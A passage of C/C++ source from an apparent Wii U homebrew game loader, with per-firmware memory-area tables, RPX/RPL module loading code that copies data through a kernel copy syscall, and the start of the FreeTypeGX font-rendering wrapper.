// 47 kB\n//        { 0x2D86D318, 0x2DFFFFFC } // 7755 kB (7 MB)\n//        { 0x2E2DCD60, 0x2E2E4D7C } // 32 kB\n//        { 0x2E33F160, 0x2E365AFC } // 154 kB\n//        { 0x2E37AC40, 0x2E39BB3C } // 131 kB\n//        { 0x2E3A6EF0, 0x2E3CA2FC } // 141 kB\n//        { 0x2E3D9EE0, 0x2E400B3C } // 155 kB\n//        { 0x2E43A8F0, 0x2E442BBC } // 32 kB\n//        { 0x2E46EC90, 0x2E48E27C } // 125 kB\n//        { 0x2E497F90, 0x2E4A147C } // 37 kB\n//        { 0x2E4A5B40, 0x2E4C67BC } // 131 kB\n//        { 0x2E4FBEF0, 0x2E52697C } // 170 kB\n//        { 0x2E550750, 0x2E57333C } // 138 kB\n//        { 0x2E573F3C, 0x2FF8F07C } // 226732 kB (26 MB)\n//        { 0x31000000, 0x31E1FFFC } // 614464 kB (14 MB)\n//        { 0x320A5D80, 0x320AEA3C } // 35 kB\n//        { 0x320E8670, 0x3210017C } // 94 kB\n//        { 0x3212609C, 0x3213187C } // 45 kB\n//        { 0x3219DF08, 0x321B72BC } // 100 kB\n//        { 0x3300ED34, 0x3301AD3C } // 48 kB\n//        { 0x33041760, 0x33049D0C } // 33 kB\n//        { 0x330608F8, 0x3306C97C } // 48 kB\n//        { 0x33089D80, 0x33095284 } // 45 kB\n//        { 0x33095470, 0x330A1324 } // 47 kB\n//        { 0x330A1358, 0x330ADC10 } // 50 kB\n//        { 0x330C9040, 0x330D0ABC } // 30 kB\n//        { 0x330D0AD8, 0x3311F9CC } // 315 kB\n//        { 0x3312575C, 0x3320A63C } // 915 kB\n//        { 0x33234D00, 0x3324B33C } // 89 kB\n//        { 0x3324E300, 0x3328D7BC } // 253 kB\n//        { 0x3329D134, 0x332CA324 } // 180 kB\n//        { 0x3332B200, 0x33340C88 } // 86 kB\n//        { 0x3335A440, 0x335021FC } // 1695 kB (1 MB)\n//        { 0x3350A778, 0x3391680C } // 4144 kB (4 MB)\n//        { 0x3391A444, 0x3392A25C } // 63 kB\n//        { 0x3392A444, 0x33939EB4 } // 62 kB\n//        { 0x3393A444, 0x3394A25C } // 63 kB\n//        { 0x339587C0, 0x33976C80 } // 121 kB\n//        { 0x339779C8, 0x3398E320 } // 90 kB\n//        { 0x3399AE74, 0x339A7D80 } // 51 kB\n//        { 0x339AB1C0, 0x339CE3A0 } // 140 kB\n//        { 0x339CEB28, 0x339DEC38 } // 64 kB\n//        { 0x339DEC40, 0x339ED000 } // 56 kB\n//        { 0x339F1BA4, 0x33A09280 } // 93 kB\n//        { 0x33A0C6E4, 0x33A15C40 } // 37 kB\n//        { 0x33A15D64, 0x33EBFFFC } // 4776 kB (4 MB)\n//        { 0x33F01380, 0x33F21FFC } // 131 kB\n//        { 0x33F44820, 0x33F6B1BC } // 154 kB\n//        { 0x33F80300, 0x33FA11FC } // 131 kB\n//        { 0x33FA4D3C, 0x33FEDAFC } // 291 kB\n//        { 0x33FFFFD4, 0x38FFFFFC } // 81920 kB (80 MB)\n    {0, 0}\n};\n\nstatic const memory_values_t mem_vals_500[] =\n{\n    { 0x2E605CBC, 0x2FF849BC }, // size 26733828 (26107 kB) (25 MB)\n    { 0x2CAE7878, 0x2D207DB4 }, // size 7472448 (7297 kB) (7 MB)\n    { 0x2D3B966C, 0x2D8943C0 }, // size 5090648 (4971 kB) (4 MB)\n    { 0x2D8AD3D8, 0x2DFFFFFC }, // size 7679016 (7499 kB) (7 MB)\n    // TODO: Check which of those areas are usable\n//\t\t{ 0x283A73DC, 0x284D2AE4 } // size 1226508 (1197 kB) (1 MB)\n//\t\t{ 0x29030800, 0x293F69FC } // size 3957248 (3864 kB) (3 MB)\n//\t\t{ 0x2970200C, 0x298B9C54 } // size 1801292 (1759 kB) (1 MB)\n//\t\t{ 0x2A057B68, 0x2A1B9578 } // size 1448468 (1414 kB) (1 MB)\n\n//\t\t{ 0x29030800, 0x293F69FC } // size 3957248 (3864 kB) (3 MB)\n//\t\t{ 0x2970200C, 0x298B9C54 } // size 1801292 (1759 kB) (1 MB)\n//\t\t{ 0x2A057B68, 0x2A1B9578 } // size 1448468 (1414 kB) (1 MB)\n//\t\t{ 0x288EEC30, 0x28B06E94 } // size 2196072 (2144 kB) (2 MB)\n//\t\t{ 0x283A73DC, 0x284D2AE4 } // size 1226508 (1197 kB) (1 MB)\n//\t\t{ 0x3335A4C0, 0x335021FC } // size 1736000 (1695 kB) (1 MB)\n//\t\t{ 0x3350C1D4, 0x339182CC } // size 4243708 (4144 kB) (4 MB)\n//\t\t{ 0x33A14094, 0x33EBFFFC } // size 4898668 (4783 kB) (4 MB)\n//\t\t{ 0x33FFFFD4, 0x38FFFFFC } // size 83886124 (81920 kB) (80 MB)\n    {0, 0}\n};\n\nstatic const memory_values_t mem_vals_532[] =\n{\n    // TODO: Check which of those areas are usable\n//        {0x28000000 + 0x000DCC9C, 0x28000000 + 0x00174F80}, // 608 kB\n//        {0x28000000 + 0x00180B60, 0x28000000 + 0x001C0A00}, // 255 kB\n//        {0x28000000 + 0x001ECE9C, 0x28000000 + 0x00208CC0}, // 111 kB\n//        {0x28000000 + 0x00234180, 0x28000000 + 0x0024B444}, // 92 kB\n//        {0x28000000 + 0x0024D8C0, 0x28000000 + 0x0028D884}, // 255 kB\n//        {0x28000000 + 0x003A745C, 0x28000000 + 0x004D2B68}, // 1197 kB\n//        {0x28000000 + 0x004D77B0, 0x28000000 + 0x00502200}, // 170 kB\n//        {0x28000000 + 0x005B3A88, 0x28000000 + 0x005C6870}, // 75 kB\n//        {0x28000000 + 0x0061F3E4, 0x28000000 + 0x00632B04}, // 77 kB\n//        {0x28000000 + 0x00639790, 0x28000000 + 0x00649BC4}, // 65 kB\n//        {0x28000000 + 0x00691490, 0x28000000 + 0x006B3CA4}, // 138 kB\n//        {0x28000000 + 0x006D7BCC, 0x28000000 + 0x006EEB84}, // 91 kB\n//        {0x28000000 + 0x00704E44, 0x28000000 + 0x0071E3C4}, // 101 kB\n//        {0x28000000 + 0x0073B684, 0x28000000 + 0x0074C184}, // 66 kB\n//        {0x28000000 + 0x00751354, 0x28000000 + 0x00769784}, // 97 kB\n//        {0x28000000 + 0x008627DC, 0x28000000 + 0x00872904}, // 64 kB\n//        {0x28000000 + 0x008C1E98, 0x28000000 + 0x008EB0A0}, // 164 kB\n//        {0x28000000 + 0x008EEC30, 0x28000000 + 0x00B06E98}, // 2144 kB\n//        {0x28000000 + 0x00B06EC4, 0x28000000 + 0x00B930C4}, // 560 kB\n//        {0x28000000 + 0x00BA1868, 0x28000000 + 0x00BC22A4}, // 130 kB\n//        {0x28000000 + 0x00BC48F8, 0x28000000 + 0x00BDEC84}, // 104 kB\n//        {0x28000000 + 0x00BE3DC0, 0x28000000 + 0x00C02284}, // 121 kB\n//        {0x28000000 + 0x00C02FC8, 0x28000000 + 0x00C19924}, // 90 kB\n//        {0x28000000 + 0x00C2D35C, 0x28000000 + 0x00C3DDC4}, // 66 kB\n//        {0x28000000 + 0x00C48654, 0x28000000 + 0x00C6E2E4}, // 151 kB\n//        {0x28000000 + 0x00D04E04, 0x28000000 + 0x00D36938}, // 198 kB\n//        {0x28000000 + 0x00DC88AC, 0x28000000 + 0x00E14288}, // 302 kB\n//        {0x28000000 + 0x00E21ED4, 0x28000000 + 0x00EC8298}, // 664 kB\n//        {0x28000000 + 0x00EDDC7C, 0x28000000 + 0x00F7C2A8}, // 633 kB\n//        {0x28000000 + 0x00F89EF4, 0x28000000 + 0x010302B8}, // 664 kB\n//        {0x28000000 + 0x01030800, 0x28000000 + 0x013F69A0}, // 3864 kB\n//        {0x28000000 + 0x016CE000, 0x28000000 + 0x016E0AA0}, // 74 kB\n//        {0x28000000 + 0x0170200C, 0x28000000 + 0x018B9C58}, // 1759 kB\n//        {0x28000000 + 0x01F17658, 0x28000000 + 0x01F6765C}, // 320 kB\n//        {0x28000000 + 0x01F6779C, 0x28000000 + 0x01FB77A0}, // 320 kB\n//        {0x28000000 + 0x01FB78E0, 0x28000000 + 0x020078E4}, // 320 kB\n//        {0x28000000 + 0x02007A24, 0x28000000 + 0x02057A28}, // 320 kB\n//        {0x28000000 + 0x02057B68, 0x28000000 + 0x021B957C}, // 1414 kB\n//        {0x28000000 + 0x02891528, 0x28000000 + 0x028C8A28}, // 221 kB\n//        {0x28000000 + 0x02BBCC4C, 0x28000000 + 0x02CB958C}, // 1010 kB\n//        {0x28000000 + 0x0378D45C, 0x28000000 + 0x03855464}, // 800 kB\n//        {0x28000000 + 0x0387800C, 0x28000000 + 0x03944938}, // 818 kB\n//        {0x28000000 + 0x03944A08, 0x28000000 + 0x03956E0C}, // 73 kB\n//        {0x28000000 + 0x04A944A4, 0x28000000 + 0x04ABAAC0}, // 153 kB\n//        {0x28000000 + 0x04ADE370, 0x28000000 + 0x0520EAB8}, // 7361 kB      // ok\n//        {0x28000000 + 0x053B966C, 0x28000000 + 0x058943C4}, // 4971 kB      // ok\n//        {0x28000000 + 0x058AD3D8, 0x28000000 + 0x06000000}, // 7499 kB\n//        {0x28000000 + 0x0638D320, 0x28000000 + 0x063B0280}, // 139 kB\n//        {0x28000000 + 0x063C39E0, 0x28000000 + 0x063E62C0}, // 138 kB\n//        {0x28000000 + 0x063F52A0, 0x28000000 + 0x06414A80}, // 125 kB\n//        {0x28000000 + 0x06422810, 0x28000000 + 0x0644B2C0}, // 162 kB\n//        {0x28000000 + 0x064E48D0, 0x28000000 + 0x06503EC0}, // 125 kB\n//        {0x28000000 + 0x0650E360, 0x28000000 + 0x06537080}, // 163 kB\n//        {0x28000000 + 0x0653A460, 0x28000000 + 0x0655C300}, // 135 kB\n//        {0x28000000 + 0x0658AA40, 0x28000000 + 0x065BC4C0}, // 198 kB       // ok\n//        {0x28000000 + 0x065E51A0, 0x28000000 + 0x06608E80}, // 143 kB       // ok\n//        {0x28000000 + 0x06609ABC, 0x28000000 + 0x07F82C00}, // 26084 kB     // ok\n\n//        {0x30000000 + 0x000DCC9C, 0x30000000 + 0x00180A00}, // 655 kB\n//        {0x30000000 + 0x00180B60, 0x30000000 + 0x001C0A00}, // 255 kB\n//        {0x30000000 + 0x001F5EF0, 0x30000000 + 0x00208CC0}, // 75 kB\n//        {0x30000000 + 0x00234180, 0x30000000 + 0x0024B444}, // 92 kB\n//        {0x30000000 + 0x0024D8C0, 0x30000000 + 0x0028D884}, // 255 kB\n//        {0x30000000 + 0x003A745C, 0x30000000 + 0x004D2B68}, // 1197 kB\n//        {0x30000000 + 0x006D3334, 0x30000000 + 0x00772204}, // 635 kB\n//        {0x30000000 + 0x00789C60, 0x30000000 + 0x007C6000}, // 240 kB\n//        {0x30000000 + 0x00800000, 0x30000000 + 0x01E20000}, // 22876 kB     // ok\n    { 0x2E609ABC, 0x2FF82C00 }, // 26084 kB\n    { 0x29030800, 0x293F69A0 }, // 3864 kB\n    { 0x288EEC30, 0x28B06E98 }, // 2144 kB\n    { 0x2D3B966C, 0x2D8943C4 }, // 4971 kB\n    { 0x2CAE0370, 0x2D20EAB8 }, // 7361 kB\n    { 0x2D8AD3D8, 0x2E000000 }, // 7499 kB\n\n    {0, 0}\n}; // total : 66mB + 25mB\n\nstatic const memory_values_t mem_vals_540[] =\n{\n    { 0x2E609EFC, 0x2FF82000 }, // 26083 kB\n    { 0x29030800, 0x293F6000 }, // 3864 kB\n    { 0x288EEC30, 0x28B06800 }, // 2144 kB\n    { 0x2D3B966C, 0x2D894000 }, // 4971 kB\n    { 0x2CB56370, 0x2D1EF000 }, // 6756 kB\n    { 0x2D8AD3D8, 0x2E000000 }, // 7499 kB\n    { 0x2970200C, 0x298B9800 }, // 1759 kB\n    { 0x2A057B68, 0x2A1B9000 }, // 1414 kB\n    { 0x2ABBCC4C, 0x2ACB9000 }, // 1010 kB\n    {0, 0}\n};\n\n//! retain container for our memory area table data\nstatic unsigned char ucMemAreaTableBuffer[0xff];\n\ns_mem_area * memoryGetAreaTable(void)\n{\n    return (s_mem_area *) (ucMemAreaTableBuffer);\n}\n\nstatic inline void memoryAddArea(int start, int end, int cur_index)\n{\n    // Create and copy new memory area\n    s_mem_area * mem_area = memoryGetAreaTable();\n    mem_area[cur_index].address = start;\n    mem_area[cur_index].size    = end - start;\n    mem_area[cur_index].next    = 0;\n\n    // Fill pointer to this area in the previous area\n    if (cur_index > 0)\n    {\n        mem_area[cur_index - 1].next = &mem_area[cur_index];\n    }\n}\n\n/* Create memory areas arrays */\nvoid memoryInitAreaTable()\n{\n    u32 ApplicationMemoryEnd;\n\n    asm volatile(\"lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l\" : \"=r\" (ApplicationMemoryEnd));\n\n    // This one seems to be available on every firmware and therefore its our code area but also our main RPX area behind our code\n    // 22876 kB - our application    // ok\n    if(OS_FIRMWARE <= 400) {\n        memoryAddArea(ApplicationMemoryEnd + 0x4B000000, 0x4B000000 + 0x01E20000, 0);\n    }\n    else {\n        memoryAddArea(ApplicationMemoryEnd + 0x30000000, 0x30000000 + 0x01E20000, 0);\n    }\n\n    const memory_values_t * mem_vals = NULL;\n\n    switch(OS_FIRMWARE)\n    {\n    case 400: {\n        mem_vals = mem_vals_400;\n        break;\n    }\n    case 500: {\n        mem_vals = mem_vals_500;\n        break;\n    }\n    case 532: {\n        mem_vals = mem_vals_532;\n        break;\n    }\n    case 540:\n\tcase 550: {\n        mem_vals = mem_vals_540;\n        break;\n    }\n    default:\n        return; // no known values\n    }\n\n    // Fill entries\n    int i = 0;\n    while (mem_vals[i].start_address)\n    {\n        memoryAddArea(mem_vals[i].start_address, mem_vals[i].end_address, i + 1);\n        i++;\n    }\n}\n"
  },
  {
    "path": "src/game/memory_area_table.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _MEMORY_AREA_TABLE_H_\n#define _MEMORY_AREA_TABLE_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/* Struct used to organize empty memory areas */\ntypedef struct _s_mem_area\n{\n    unsigned int        address;\n    unsigned int        size;\n    struct _s_mem_area* next;\n} s_mem_area;\n\nvoid memoryInitAreaTable();\ns_mem_area * memoryGetAreaTable(void);\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // _MEMORY_AREA_TABLE_H_\n"
  },
  {
    "path": "src/game/rpx_rpl_table.c",
    "content": "#include <string.h>\n#include \"rpx_rpl_table.h\"\n#include \"kernel/kernel_functions.h\"\n#include \"common/common.h\"\n#include \"utils/logger.h\"\n\n//! static container holding our retain data\nstatic unsigned char ucRpxData[0xffff];\n\nvoid rpxRplTableInit(void)\n{\n    s_rpx_rpl *pRpxData = (s_rpx_rpl*)ucRpxData;\n    //! initialize the RPL/RPX table first entry to zero + 1 byte for name zero termination\n    //! just in case no RPL/RPX are found, though it wont boot then anyway\n    memset(pRpxData, 0, sizeof(s_rpx_rpl) + 1);\n}\n\ns_rpx_rpl * rpxRplTableAddEntry(const char *name, int offset, int size, int is_rpx, int entry_index, s_mem_area* area)\n{\n    // fill rpx/rpl entry\n    s_rpx_rpl * rpx_rpl_data = (s_rpx_rpl *)(ucRpxData);\n    // get to last entry\n    while(rpx_rpl_data->next) {\n        rpx_rpl_data = rpx_rpl_data->next;\n    }\n\n    // setup next entry on the previous one (only if it is not the first entry)\n    if(entry_index > 0) {\n        rpx_rpl_data->next = (s_rpx_rpl *)( ((u32)rpx_rpl_data) + sizeof(s_rpx_rpl) + strlen(rpx_rpl_data->name) + 1 );\n        rpx_rpl_data = rpx_rpl_data->next;\n    }\n\n    // setup current entry\n    rpx_rpl_data->area = area;\n    rpx_rpl_data->size = size;\n    rpx_rpl_data->offset = offset;\n    rpx_rpl_data->is_rpx = is_rpx;\n    rpx_rpl_data->next = 0;\n    strcpy(rpx_rpl_data->name, name);\n\n    log_printf(\"%s: loaded into 0x%08X, offset: 0x%08X, size: 0x%08X\\n\", name, area->address, offset, size);\n    return rpx_rpl_data;\n}\n\ns_rpx_rpl* rpxRplTableGet(void)\n{\n    return (s_rpx_rpl*)ucRpxData;\n}\n\ns_mem_area *rpxRplTableGetNextFreeMemArea(u32 * mem_area_addr_start, u32 * mem_area_addr_end, u32 * mem_area_offset)\n{\n    s_mem_area * mem_area = memoryGetAreaTable();\n    s_rpx_rpl *rpl_struct = rpxRplTableGet();\n    while(rpl_struct != 0)\n    {\n        // check if this entry was loaded into memory\n        if(rpl_struct->size == 0) {\n            // see if we find entries behind this one that was pre-loaded\n            rpl_struct = rpl_struct->next;\n            // entry was not loaded into memory -> skip it\n            continue;\n        }\n\n        // this entry has been loaded to memory, remember it's area\n        mem_area = rpl_struct->area;\n\n        int rpl_size = rpl_struct->size;\n        int rpl_offset = rpl_struct->offset;\n        // find the end of the entry and switch between areas if needed\n        while(mem_area && (u32)(rpl_offset + rpl_size) >= mem_area->size)\n        {\n            rpl_size -= mem_area->size - rpl_offset;\n            rpl_offset = 0;\n            mem_area = mem_area->next;\n        }\n\n        if(!mem_area)\n            return NULL;\n\n        // set new start, end and memory area offset\n        *mem_area_addr_start = mem_area->address;\n        *mem_area_addr_end   = mem_area->address + mem_area->size;\n        *mem_area_offset     = rpl_offset + rpl_size;\n\n        // see if we find entries behind this one that was pre-loaded\n        rpl_struct = rpl_struct->next;\n    }\n    return mem_area;\n}\n\nint rpxRplCopyDataToMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, const u8 *data, u32 dataSize)\n{\n    s_mem_area *mem_area = rpx_rpl_struct->area;\n    u32 mem_area_addr_start = mem_area->address;\n    u32 mem_area_addr_end   = mem_area_addr_start + mem_area->size;\n    u32 mem_area_offset     = rpx_rpl_struct->offset;\n\n    // add to offset\n    mem_area_offset += fileOffset;\n\n    // skip position to the end of the fill\n    while ((mem_area_addr_start + mem_area_offset) >= mem_area_addr_end) // TODO: maybe >, not >=\n    {\n        // subtract what was in the offset left from last memory block\n        mem_area_offset     = (mem_area_addr_start + mem_area_offset) - mem_area_addr_end;\n        mem_area            = mem_area->next;\n        if(!mem_area)\n            return 0;\n\n        mem_area_addr_start = mem_area->address;\n        mem_area_addr_end   = mem_area_addr_start + mem_area->size;\n    }\n\n    // copy to memory\n    u32 copiedBytes = 0;\n    while(copiedBytes < dataSize)\n    {\n        u32 blockSize = dataSize - copiedBytes;\n        u32 mem_area_addr_dest = mem_area_addr_start + mem_area_offset;\n\n        if((mem_area_addr_dest + blockSize) > mem_area_addr_end)\n            blockSize = mem_area_addr_end - mem_area_addr_dest;\n\n        if(blockSize == 0)\n        {\n            // Set next memory area\n            mem_area            = mem_area->next;\n            if(!mem_area)\n                return 0;\n\n            mem_area_addr_start = mem_area->address;\n            mem_area_addr_end   = mem_area->address + mem_area->size;\n            mem_area_offset     = 0;\n            continue;\n        }\n\n        SC0x25_KernelCopyData(mem_area_addr_dest, (u32)&data[copiedBytes], blockSize);\n        mem_area_offset += blockSize;\n        copiedBytes += blockSize;\n    }\n\n    return copiedBytes;\n}\n\nint rpxRplCopyDataFromMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, u8 *data, u32 dataSize)\n{\n    s_mem_area *mem_area = rpx_rpl_struct->area;\n    u32 mem_area_addr_start = mem_area->address;\n    u32 mem_area_addr_end   = mem_area_addr_start + mem_area->size;\n    u32 mem_area_offset     = rpx_rpl_struct->offset;\n\n    if(fileOffset > rpx_rpl_struct->size)\n        return 0;\n\n    if((fileOffset + dataSize) > rpx_rpl_struct->size)\n        dataSize = rpx_rpl_struct->size - fileOffset;\n\n    // add to offset\n    mem_area_offset += fileOffset;\n\n    // skip position to the end of the fill\n    while ((mem_area_addr_start + mem_area_offset) >= mem_area_addr_end) // TODO: maybe >, not >=\n    {\n        // subtract what was in the offset left from last memory block\n        mem_area_offset     = (mem_area_addr_start + mem_area_offset) - mem_area_addr_end;\n        mem_area            = mem_area->next;\n        if(!mem_area)\n            return 0;\n\n        mem_area_addr_start = mem_area->address;\n        mem_area_addr_end   = mem_area_addr_start + mem_area->size;\n    }\n\n    // copy to memory\n    u32 copiedBytes = 0;\n    while(copiedBytes < dataSize)\n    {\n        u32 blockSize = dataSize - copiedBytes;\n        u32 mem_area_addr_dest = mem_area_addr_start + mem_area_offset;\n\n        if((mem_area_addr_dest + blockSize) > mem_area_addr_end)\n            blockSize = mem_area_addr_end - mem_area_addr_dest;\n\n        if(blockSize == 0)\n        {\n            // Set next memory area\n            mem_area            = mem_area->next;\n            if(!mem_area)\n                return 0;\n\n            mem_area_addr_start = mem_area->address;\n            mem_area_addr_end   = mem_area->address + mem_area->size;\n            mem_area_offset     = 0;\n            continue;\n        }\n\n        SC0x25_KernelCopyData((u32)&data[copiedBytes], mem_area_addr_dest, blockSize);\n        mem_area_offset += blockSize;\n        copiedBytes += blockSize;\n    }\n\n    return copiedBytes;\n}\n"
  },
  {
    "path": "src/game/rpx_rpl_table.h",
    "content": "#ifndef __RPX_ARRAY_H_\n#define __RPX_ARRAY_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <gctypes.h>\n#include \"common/common.h\"\n#include \"memory_area_table.h\"\n\n/* Struct used to organize rpx/rpl data in memory */\ntypedef struct _s_rpx_rpl\n{\n    struct _s_rpx_rpl* next;\n    s_mem_area*        area;\n    unsigned int       offset;\n    unsigned int       size;\n    unsigned char      is_rpx;\n    char               name[0];\n} s_rpx_rpl;\n\nvoid rpxRplTableInit(void);\ns_rpx_rpl* rpxRplTableAddEntry(const char *name, int offset, int size, int is_rpx, int entry_index, s_mem_area* area);\ns_rpx_rpl* rpxRplTableGet(void);\n\ns_mem_area *rpxRplTableGetNextFreeMemArea(u32 * mem_area_addr_start, u32 * mem_area_addr_end, u32 * mem_area_offset);\nint rpxRplCopyDataToMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, const u8 *data, u32 dataSize);\nint rpxRplCopyDataFromMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, u8 *data, u32 dataSize);\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif\n"
  },
  {
    "path": "src/gitrev.h",
    "content": "#ifndef __GITREV_H_\n#define __GITREV_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nconst char *GetRev();\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __GITREV_H_\n"
  },
  {
    "path": "src/gui/FreeTypeGX.cpp",
    "content": "/*\n * FreeTypeGX is a wrapper class for libFreeType which renders a compiled\n * FreeType parsable font so a GX texture for Wii homebrew development.\n * Copyright (C) 2008 Armin Tamzarian\n * Modified by Dimok, 2015 for WiiU GX2\n *\n * This file is part of FreeTypeGX.\n *\n * FreeTypeGX is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as published\n * by the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * FreeTypeGX is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with FreeTypeGX.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include \"FreeTypeGX.h\"\n#include \"video/CVideo.h\"\n#include \"video/shaders/Texture2DShader.h\"\n#include \"utils/logger.h\"\n\nusing namespace std;\n\n#define ALIGN4(x) (((x) + 3) & ~3)\n\n/**\n * Default constructor for the FreeTypeGX class for WiiXplorer.\n */\nFreeTypeGX::FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace)\n{\n\tint32_t faceIndex = 0;\n\tftPointSize = 0;\n    GX2InitSampler(&ftSampler, GX2_TEX_CLAMP_CLAMP_BORDER, GX2_TEX_XY_FILTER_BILINEAR);\n\n\tFT_Init_FreeType(&ftLibrary);\n\tif(lastFace)\n\t{\n\t\tFT_New_Memory_Face(ftLibrary, (FT_Byte *)fontBuffer, bufferSize, -1, &ftFace);\n\t\tfaceIndex = ftFace->num_faces - 1; // Use the last face\n\t\tFT_Done_Face(ftFace);\n\t\tftFace = NULL;\n\t}\n\tFT_New_Memory_Face(ftLibrary, (FT_Byte *) fontBuffer, bufferSize, faceIndex, &ftFace);\n\n\tftKerningEnabled = FT_HAS_KERNING(ftFace);\n}\n\n/**\n * Default destructor for the FreeTypeGX class.\n */\nFreeTypeGX::~FreeTypeGX()\n{\n\tunloadFont();\n\tFT_Done_Face(ftFace);\n\tFT_Done_FreeType(ftLibrary);\n}\n\n/**\n * Convert a short char string to a wide char string.\n *\n * This routine converts a supplied short character string into a wide character string.\n * Note that it is the user's responsibility to clear the returned buffer once it is no longer needed.\n *\n * @param strChar   Character string to be converted.\n * @return Wide character representation of supplied character string.\n */\n\nwchar_t* FreeTypeGX::charToWideChar(const char* strChar)\n{\n\tif (!strChar) return NULL;\n\n\twchar_t *strWChar = new (std::nothrow) wchar_t[strlen(strChar) + 1];\n\tif (!strWChar) return NULL;\n\n\tint32_t bt = mbstowcs(strWChar, strChar, strlen(strChar));\n\tif (bt > 0)\n\t{\n\t\tstrWChar[bt] = 0;\n\t\treturn strWChar;\n\t}\n\n\twchar_t *tempDest = strWChar;\n\twhile ((*tempDest++ = *strChar++))\n\t\t;\n\n\treturn strWChar;\n}\n\nchar *FreeTypeGX::wideCharToUTF8(const wchar_t* strChar)\n{\n    if(!strChar) {\n        return NULL;\n    }\n\n\tsize_t len = 0;\n\twchar_t wc;\n\n\tfor (size_t i = 0; strChar[i]; ++i)\n\t{\n\t\twc = strChar[i];\n\t\tif (wc < 0x80)\n\t\t\t++len;\n\t\telse if (wc < 0x800)\n\t\t\tlen += 2;\n\t\telse if (wc < 0x10000)\n\t\t\tlen += 3;\n\t\telse\n\t\t\tlen += 4;\n\t}\n\n    char *pOut = new (std::nothrow) char[len];\n    if(!pOut)\n        return NULL;\n\n    size_t n = 0;\n\n\tfor (size_t i = 0; strChar[i]; ++i)\n\t{\n\t\twc = strChar[i];\n\t\tif (wc < 0x80)\n\t\t\tpOut[n++] = (char)wc;\n\t\telse if (wc < 0x800)\n\t\t{\n\t\t\tpOut[n++] = (char)((wc >> 6) | 0xC0);\n\t\t\tpOut[n++] = (char)((wc & 0x3F) | 0x80);\n\t\t}\n\t\telse if (wc < 0x10000)\n\t\t{\n\t\t\tpOut[n++] = (char)((wc >> 12) | 0xE0);\n\t\t\tpOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80);\n\t\t\tpOut[n++] = (char)((wc & 0x3F) | 0x80);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tpOut[n++] = (char)(((wc >> 18) & 0x07) | 0xF0);\n\t\t\tpOut[n++] = (char)(((wc >> 12) & 0x3F) | 0x80);\n\t\t\tpOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80);\n\t\t\tpOut[n++] = (char)((wc & 0x3F) | 0x80);\n\t\t}\n\t}\n\treturn pOut;\n}\n\n/**\n * Clears all loaded font glyph data.\n *\n * This routine clears all members of the font map structure and frees all allocated memory back to the system.\n */\nvoid FreeTypeGX::unloadFont()\n{\n\tmap<int16_t, ftGX2Data >::iterator itr;\n\tmap<wchar_t, ftgxCharData>::iterator itr2;\n\n\tfor (itr = fontData.begin(); itr != fontData.end(); itr++)\n\t{\n\t\tfor (itr2 = itr->second.ftgxCharMap.begin(); itr2 != itr->second.ftgxCharMap.end(); itr2++)\n        {\n            if(itr2->second.texture)\n            {\n                if(itr2->second.texture->surface.image_data)\n                    free(itr2->second.texture->surface.image_data);\n\n                delete itr2->second.texture;\n                itr2->second.texture = NULL;\n            }\n        }\n\t}\n\n\tfontData.clear();\n}\n\n/**\n * Caches the given font glyph in the instance font texture buffer.\n *\n * This routine renders and stores the requested glyph's bitmap and relevant information into its own quickly addressible\n * structure within an instance-specific map.\n *\n * @param charCode  The requested glyph's character code.\n * @return A pointer to the allocated font structure.\n */\nftgxCharData * FreeTypeGX::cacheGlyphData(wchar_t charCode, int16_t pixelSize)\n{\n\tmap<int16_t, ftGX2Data>::iterator itr = fontData.find(pixelSize);\n\tif (itr != fontData.end())\n\t{\n\t\tmap<wchar_t, ftgxCharData>::iterator itr2 = itr->second.ftgxCharMap.find(charCode);\n\t\tif (itr2 != itr->second.ftgxCharMap.end())\n\t\t{\n\t\t\treturn &itr2->second;\n\t\t}\n\t}\n    //!Cache ascender and decender as well\n    ftGX2Data *ftData = &fontData[pixelSize];\n\n    FT_UInt gIndex;\n    uint16_t textureWidth = 0, textureHeight = 0;\n    if (ftPointSize != pixelSize)\n    {\n        ftPointSize = pixelSize;\n        FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize);\n        ftData->ftgxAlign.ascender = (int16_t) ftFace->size->metrics.ascender >> 6;\n        ftData->ftgxAlign.descender = (int16_t) ftFace->size->metrics.descender >> 6;\n        ftData->ftgxAlign.max = 0;\n        ftData->ftgxAlign.min = 0;\n    }\n\n\tgIndex = FT_Get_Char_Index(ftFace, (FT_ULong) charCode);\n\tif (gIndex != 0 && FT_Load_Glyph(ftFace, gIndex, FT_LOAD_DEFAULT | FT_LOAD_RENDER) == 0)\n\t{\n\t\tif (ftFace->glyph->format == FT_GLYPH_FORMAT_BITMAP)\n\t\t{\n\t\t\tFT_Bitmap *glyphBitmap = 